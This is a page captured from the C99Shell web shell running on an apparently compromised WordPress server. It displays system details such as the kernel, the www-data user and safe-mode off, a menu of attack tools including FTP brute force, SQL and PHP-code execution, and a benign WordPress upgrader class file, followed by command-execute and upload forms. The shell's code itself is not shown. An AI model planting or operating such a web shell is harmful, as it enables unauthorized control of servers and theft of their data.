!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dev/wp-admin/includes/   drwxrwxr-x
Free 39.77 GB of 48.28 GB (82.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-ajax-upgrader-skin.php (3.53 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Upgrader API: WP_Ajax_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Ajax WordPress upgrades.
 *
 * This skin is designed to be used for Ajax updates.
 *
 * @since 4.6.0
 *
 * @see Automatic_Upgrader_Skin
 */
class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin {

    
/**
     * Holds the WP_Error object.
     *
     * @since 4.6.0
     *
     * @var null|WP_Error
     */
    
protected $errors null;

    
/**
     * Constructor.
     *
     * Sets up the WordPress Ajax upgrader skin.
     *
     * @since 4.6.0
     *
     * @see WP_Upgrader_Skin::__construct()
     *
     * @param array $args Optional. The WordPress Ajax upgrader skin arguments to
     *                    override default options. See WP_Upgrader_Skin::__construct().
     *                    Default empty array.
     */
    
public function __construct$args = array() ) {
        
parent::__construct$args );

        
$this->errors = new WP_Error();
    }

    
/**
     * Retrieves the list of errors.
     *
     * @since 4.6.0
     *
     * @return WP_Error Errors during an upgrade.
     */
    
public function get_errors() {
        return 
$this->errors;
    }

    
/**
     * Retrieves a string for error messages.
     *
     * @since 4.6.0
     *
     * @return string Error messages during an upgrade.
     */
    
public function get_error_messages() {
        
$messages = array();

        foreach ( 
$this->errors->get_error_codes() as $error_code ) {
            
$error_data $this->errors->get_error_data$error_code );

            if ( 
$error_data && is_string$error_data ) ) {
                
$messages[] = $this->errors->get_error_message$error_code ) . ' ' esc_htmlstrip_tags$error_data ) );
            } else {
                
$messages[] = $this->errors->get_error_message$error_code );
            }
        }

        return 
implode', '$messages );
    }

    
/**
     * Stores an error message about the upgrade.
     *
     * @since 4.6.0
     * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
     *              to the function signature.
     *
     * @param string|WP_Error $errors  Errors.
     * @param mixed           ...$args Optional text replacements.
     */
    
public function error$errors, ...$args ) {
        if ( 
is_string$errors ) ) {
            
$string $errors;
            if ( ! empty( 
$this->upgrader->strings$string ] ) ) {
                
$string $this->upgrader->strings$string ];
            }

            if ( 
false !== strpos$string'%' ) ) {
                if ( ! empty( 
$args ) ) {
                    
$string vsprintf$string$args );
                }
            }

            
// Count existing errors to generate a unique error code.
            
$errors_count count$this->errors->get_error_codes() );
            
$this->errors->add'unknown_upgrade_error_' . ( $errors_count ), $string );
        } elseif ( 
is_wp_error$errors ) ) {
            foreach ( 
$errors->get_error_codes() as $error_code ) {
                
$this->errors->add$error_code$errors->get_error_message$error_code ), $errors->get_error_data$error_code ) );
            }
        }

        
parent::error$errors, ...$args );
    }

    
/**
     * Stores a message about the upgrade.
     *
     * @since 4.6.0
     * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
     *              to the function signature.
     * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support.
     *
     * @param string|array|WP_Error $feedback Message data.
     * @param mixed                 ...$args  Optional text replacements.
     */
    
public function feedback$feedback, ...$args ) {
        if ( 
is_wp_error$feedback ) ) {
            foreach ( 
$feedback->get_error_codes() as $error_code ) {
                
$this->errors->add$error_code$feedback->get_error_message$error_code ), $feedback->get_error_data$error_code ) );
            }
        }

        
parent::feedback$feedback, ...$args );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0058 ]--